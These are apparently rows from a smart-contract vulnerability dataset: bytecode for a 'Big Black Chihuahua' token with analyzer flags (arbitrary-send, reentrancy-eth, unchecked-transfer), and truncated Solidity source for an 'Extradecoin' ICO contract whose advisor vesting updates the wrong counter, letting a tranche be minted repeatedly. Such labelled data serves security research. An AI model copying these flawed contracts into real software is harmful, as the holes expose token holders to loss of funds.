0080fd5b50610416610dc3565b005b34801561042457600080fd5b5061043f600480360381019061043a919061235c565b610f0e565b60405161044c9190612a80565b60405180910390f35b60606040518060400160405280601381526020017f42696720426c61636b2043686968756168756100000000000000000000000000815250905090565b60006104a661049f61105a565b8484611062565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f161105a565b73ffffffffffffffffffffffffffffffffffffffff161461051157600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161058e919061283e565b60206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de91906124d2565b6040518363ffffffff1660e01b81526004016105fb929190612859565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d9190612478565b505050565b6000683635c9adc5dea00000905090565b600061067084848461122d565b6107318461067c61105a565b61072c8560405180606001604052806028815260200161322060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e261105a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e69092919063ffffffff16565b611062565b600190509392505050565b61074461105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906129c0565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087661105a565b73ffffffffffffffffffffffffffffffffffffffff161461089657600080fd5b80600e8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e161105a565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f8161194a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096361105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e7906129c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aef61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f57600080fd5b600c548360ff1611158015610b295750600c548260ff1611155b8015610b395750600c54600b5411155b610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612a60565b60405180910390fd5b8260ff166009819055508160ff16600a819055508060ff16600b81905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4242430000000000000000000000000000000000000000000000000000000000815250905090565b6000610c15610c0e61105a565b848461122d565b6001905092915050565b610c2761105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906129c0565b60405180910390fd5b60005b8151811015610d4557600160056000848481518110610cd957610cd8612e73565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3d90612dcc565b915050610cb7565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610912565b9050610dc0816119b6565b50565b610dcb61105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906129c0565b60405180910390fd5b601160149054906101000a900460ff1615610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612a40565b60405180910390fd5b610ec2610eb430610912565b47610ebd610b9b565b611aa0565b6001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555061012c42610f069190612bb6565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415610fa8576000905061100a565b60008284610fb69190612c3d565b9050828482610fc59190612c0c565b14611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906129a0565b60405180910390fd5b809150505b92915050565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612960565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112209190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612940565b60405180910390fd5b60008111611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906129e0565b60405180910390fd5b611367600b54600954611c2790919063ffffffff16565b600881905550611375610b9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e357506113b3610b9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d657600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61149557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115405750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115a3575060075442105b1561165357600d548111156115b757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061160257600080fd5b601e4261160f9190612bb6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116fe5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561177757611770600b54600a54611c2790919063ffffffff16565b6008819055505b601160159054906101000a900460ff161580156117e25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fa5750601160169054906101000a900460ff165b80156118505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576007544211611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090612920565b60405180910390fd5b60006118a430610912565b9050600e548111156118d3576118b9816119b6565b600047905060008111156118d1576118d04761194a565b5b505b505b5b6118e1838383611c85565b505050565b600083831115829061192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192591906128fe565b60405180910390fd5b506000838561193d9190612c97565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119b2573d6000803e3d6000fd5b5050565b60006119ce6002600b5461101090919063ffffffff16565b905060006119e782600a54611c2790919063ffffffff16565b90506000611a02600b54600a54611c2790919063ffffffff16565b90506000611a2b82611a1d8588610f9590919063ffffffff16565b61101090919063ffffffff16565b9050611a3681611ec0565b611a99611a4c828761214890919063ffffffff16565b611a7185611a638847610f9590919063ffffffff16565b61101090919063ffffffff16565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa0565b5050505050565b6001601160156101000a81548160ff021916908315150217905550611ae830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611b4f96959493929190612882565b6060604051808303818588803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ba191906124ff565b5050506000601160156101000a81548160ff021916908315150217905550505050565b60008083118290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0291906128fe565b60405180910390fd5b5060008385611c1a9190612c0c565b9050809150509392505050565b6000808284611c369190612bb6565b905083811015611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7290612980565b60405180910390fd5b8091505092915050565b600080611c9183612192565b91509150611ce783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb19190612a80565b60405180910390a35050505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef857611ef7612ea2565b5b604051908082528060200260200182016040528015611f265781602001602082028036833780820191505090505b5090503081600081518110611f3e57611f3d612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe057600080fd5b505afa158015611ff4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612018919061232f565b8160018151811061202c5761202b612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f7959493929190612a9b565b600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600061218a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e6565b905092915050565b60008060006121c06103e86121b260085487610f9590919063ffffffff16565b61101090919063ffffffff16565b905060006121d7828661214890919063ffffffff16565b90508082935093505050915091565b60006121f96121f484612b35565b612b10565b9050808382526020820190508285602086028201111561221c5761221b612ed6565b5b60005b8581101561224c57816122328882612256565b84526020840193506020830192505060018101905061221f565b5050509392505050565b600081359050612265816131c3565b92915050565b60008151905061227a816131c3565b92915050565b600082601f83011261229557612294612ed1565b5b81356122a58482602086016121e6565b91505092915050565b6000815190506122bd816131da565b92915050565b6000813590506122d2816131f1565b92915050565b6000815190506122e7816131f1565b92915050565b6000813590506122fc81613208565b92915050565b60006020828403121561231857612317612ee0565b5b600061232684828501612256565b91505092915050565b60006020828403121561234557612344612ee0565b5b60006123538482850161226b565b91505092915050565b6000806040838503121561237357612372612ee0565b5b600061238185828601612256565b925050602061239285828601612256565b9150509250929050565b6000806000606084860312156123b5576123b4612ee0565b5b60006123c386828701612256565b93505060206123d486828701612256565b92505060406123e5868287016122c3565b9150509250925092565b6000806040838503121561240657612405612ee0565b5b600061241485828601612256565b9250506020612425858286016122c3565b9150509250929050565b60006020828403121561244557612444612ee0565b5b600082013567ffffffffffffffff81111561246357612462612edb565b5b61246f84828501612280565b91505092915050565b60006020828403121561248e5761248d612ee0565b5b600061249c848285016122ae565b91505092915050565b6000602082840312156124bb576124ba612ee0565b5b60006124c9848285016122c3565b91505092915050565b6000602082840312156124e8576124e7612ee0565b5b60006124f6848285016122d8565b91505092915050565b60008060006060848603121561251857612517612ee0565b5b6000612526868287016122d8565b9350506020612537868287016122d8565b9250506040612548868287016122d8565b9150509250925092565b60008060006060848603121561256b5761256a612ee0565b5b6000612579868287016122ed565b935050602061258a868287016122ed565b925050604061259b868287016122ed565b9150509250925092565b60006125b183836125cc565b60208301905092915050565b6125c681612d20565b82525050565b6125d581612ccb565b82525050565b6125e481612ccb565b82525050565b60006125f582612b71565b6125ff8185612b94565b935061260a83612b61565b8060005b8381101561263b57815161262288826125a5565b975061262d83612b87565b92505060018101905061260e565b5085935050505092915050565b61265181612cdd565b82525050565b61266081612d32565b82525050565b600061267182612b7c565b61267b8185612ba5565b935061268b818560208601612d68565b61269481612ee5565b840191505092915050565b60006126ac602883612ba5565b91506126b782612ef6565b604082019050919050565b60006126cf602383612ba5565b91506126da82612f45565b604082019050919050565b60006126f2602283612ba5565b91506126fd82612f94565b604082019050919050565b6000612715601b83612ba5565b915061272082612fe3565b602082019050919050565b6000612738602183612ba5565b91506127438261300c565b604082019050919050565b600061275b602083612ba5565b91506127668261305b565b602082019050919050565b600061277e602983612ba5565b915061278982613084565b604082019050919050565b60006127a1602583612ba5565b91506127ac826130d3565b604082019050919050565b60006127c4602483612ba5565b91506127cf82613122565b604082019050919050565b60006127e7601783612ba5565b91506127f282613171565b602082019050919050565b600061280a601d83612ba5565b91506128158261319a565b602082019050919050565b61282981612d09565b82525050565b61283881612d13565b82525050565b600060208201905061285360008301846125db565b92915050565b600060408201905061286e60008301856125bd565b61287b6020830184612820565b9392505050565b600060c08201905061289760008301896125db565b6128a46020830188612820565b6128b16040830187612657565b6128be6060830186612657565b6128cb60808301856125db565b6128d860a0830184612820565b979650505050505050565b60006020820190506128f86000830184612648565b92915050565b600060208201905081810360008301526129188184612666565b905092915050565b600060208201905081810360008301526129398161269f565b9050919050565b60006020820190508181036000830152612959816126c2565b9050919050565b60006020820190508181036000830152612979816126e5565b9050919050565b6000602082019050818103600083015261299981612708565b9050919050565b600060208201905081810360008301526129b98161272b565b9050919050565b600060208201905081810360008301526129d98161274e565b9050919050565b600060208201905081810360008301526129f981612771565b9050919050565b60006020820190508181036000830152612a1981612794565b9050919050565b60006020820190508181036000830152612a39816127b7565b9050919050565b60006020820190508181036000830152612a59816127da565b9050919050565b60006020820190508181036000830152612a79816127fd565b9050919050565b6000602082019050612a956000830184612820565b92915050565b600060a082019050612ab06000830188612820565b612abd6020830187612657565b8181036040830152612acf81866125ea565b9050612ade60608301856125db565b612aeb6080830184612820565b9695505050505050565b6000602082019050612b0a600083018461282f565b92915050565b6000612b1a612b2b565b9050612b268282612d9b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b5057612b4f612ea2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bc182612d09565b9150612bcc83612d09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c0157612c00612e15565b5b828201905092915050565b6000612c1782612d09565b9150612c2283612d09565b925082612c3257612c31612e44565b5b828204905092915050565b6000612c4882612d09565b9150612c5383612d09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c8c57612c8b612e15565b5b828202905092915050565b6000612ca282612d09565b9150612cad83612d09565b925082821015612cc057612cbf612e15565b5b828203905092915050565b6000612cd682612ce9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d2b82612d44565b9050919050565b6000612d3d82612d09565b9050919050565b6000612d4f82612d56565b9050919050565b6000612d6182612ce9565b9050919050565b60005b83811015612d86578082015181840152602081019050612d6b565b83811115612d95576000848401525b50505050565b612da482612ee5565b810181811067ffffffffffffffff82111715612dc357612dc2612ea2565b5b80604052505050565b6000612dd782612d09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e0a57612e09612e15565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616e6e6f742073657420666565732061626f7665206d6178696d756d000000600082015250565b6131cc81612ccb565b81146131d757600080fd5b50565b6131e381612cdd565b81146131ee57600080fd5b50565b6131fa81612d09565b811461320557600080fd5b50565b61321181612d13565b811461321c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205bef766591135157ccd532809f32783e30a4a831e5499084632ec144b5f0952564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,659
0xedc7e8ca35a00674c3b83c965591a75f700cc590
pragma solidity ^0.4.21; contract Owner { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Owner(address _owner) public { owner = _owner; } function changeOwner(address _newOwnerAddr) public onlyOwner { require(_newOwnerAddr != address(0)); owner = _newOwnerAddr; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Extradecoin is Owner { using SafeMath for uint256; string public constant name = "EXTRADECOIN"; string public constant symbol = "ETE"; uint public constant decimals = 18; uint256 constant public totalSupply = 250000000 * 10 ** 18; // 250 mil tokens will be supplied mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) internal allowed; address public adminAddress; address public walletAddress; address public founderAddress; address public advisorAddress; mapping(address => uint256) public totalInvestedAmountOf; uint constant lockPeriod1 = 3 years; // 1st locked period for tokens allocation of founder and team uint constant lockPeriod2 = 1 years; // 2nd locked period for tokens allocation of founder and team uint constant lockPeriod3 = 90 days; // 3nd locked period for tokens allocation of advisor and ICO partners uint constant NOT_SALE = 0; // Not in sales uint constant IN_ICO = 1; // In ICO uint constant END_SALE = 2; // End sales uint256 public constant salesAllocation = 125000000 * 10 ** 18; // 125 mil tokens allocated for sales uint256 public constant founderAllocation = 37500000 * 10 ** 18; // 37.5 mil tokens allocated for founders uint256 public constant advisorAllocation = 25000000 * 10 ** 18; // 25 mil tokens allocated for allocated for ICO partners and bonus fund uint256 public constant reservedAllocation = 62500000 * 10 ** 18; // 62.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund uint256 public constant minInvestedCap = 6000 * 10 ** 18; // 2500 ether for softcap uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction uint saleState; uint256 totalInvestedAmount; uint public icoStartTime; uint public icoEndTime; bool public inActive; bool public isSelling; bool public isTransferable; uint public founderAllocatedTime = 1; uint public advisorAllocatedTime = 1; uint256 public icoStandardPrice; uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales uint256 public totalAdvisor; // Total tokens allocated for advisor uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event event StartICO(uint state); // Start ICO sales event EndICO(uint state); // End ICO sales event SetICOPrice(uint256 price); // Set ICO standard price event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address event AllocateTokensForAdvisor(address advisorAddress, uint256 advisorAllocatedTime, uint256 tokenAmount); // Allocate tokens to advisor address event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens modifier isActive() { require(inActive == false); _; } modifier isInSale() { require(isSelling == true); _; } modifier transferable() { require(isTransferable == true); _; } modifier onlyOwnerOrAdminOrPortal() { require(msg.sender == owner || msg.sender == adminAddress); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || msg.sender == adminAddress); _; } function Extradecoin(address _walletAddr, address _adminAddr) public Owner(msg.sender) { require(_walletAddr != address(0)); require(_adminAddr != address(0)); walletAddress = _walletAddr; adminAddress = _adminAddr; inActive = true; totalInvestedAmount = 0; totalRemainingTokensForSales = salesAllocation; totalAdvisor = advisorAllocation; totalReservedTokenAllocation = reservedAllocation; } // Fallback function for token purchasing function () external payable isActive isInSale { uint state = getCurrentState(); require(state == IN_ICO); require(msg.value >= minInvestedAmount); if (state == IN_ICO) { return issueTokensForICO(state); } revert(); } // ERC20 standard function function transfer(address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // ERC20 standard function function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_from != address(0)); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // ERC20 standard function function approve(address _spender, uint256 _value) external transferable returns (bool) { require(_spender != address(0)); require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Start ICO function startICO() external isActive onlyOwnerOrAdmin returns (bool) { saleState = IN_ICO; icoStartTime = now; isSelling = true; emit StartICO(saleState); return true; } // End ICO function endICO() external isActive onlyOwnerOrAdmin returns (bool) { require(icoEndTime == 0); saleState = END_SALE; isSelling = false; icoEndTime = now; emit EndICO(saleState); return true; } // Set ICO price including ICO standard price, ICO 1st round price, ICO 2nd round price function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) { require(_tokenPerEther > 0); icoStandardPrice = _tokenPerEther; emit SetICOPrice(icoStandardPrice); return true; } // Activate token sale function function activate() external onlyOwner { inActive = false; } // Deacivate token sale function function deActivate() external onlyOwner { inActive = true; } // Enable transfer feature of tokens function enableTokenTransfer() external isActive onlyOwner { isTransferable = true; } // Modify wallet function changeWallet(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(walletAddress != _newAddress); walletAddress = _newAddress; } // Modify admin function changeAdminAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(adminAddress != _newAddress); adminAddress = _newAddress; } // Modify founder address to receive founder tokens allocation function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(founderAddress != _newAddress); founderAddress = _newAddress; } // Modify team address to receive team tokens allocation function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(advisorAddress != _newAddress); advisorAddress = _newAddress; } // Allocate tokens for founder vested gradually for 4 year function allocateTokensForFounder() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(founderAddress != address(0)); uint256 amount; if (founderAllocatedTime == 1) { require(now >= icoEndTime + lockPeriod1); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (founderAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 3; return; } revert(); } // Allocate tokens for advisor and angel investors vested gradually for 1 year function allocateTokensForAdvisor() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(advisorAddress != address(0)); uint256 amount; if (advisorAllocatedTime == 1) { amount = advisorAllocation * 50/100; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForFounder(advisorAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (advisorAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 3; return; } if (advisorAllocatedTime == 3) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 4; return; } if (advisorAllocatedTime == 4) { require(now >= icoEndTime + 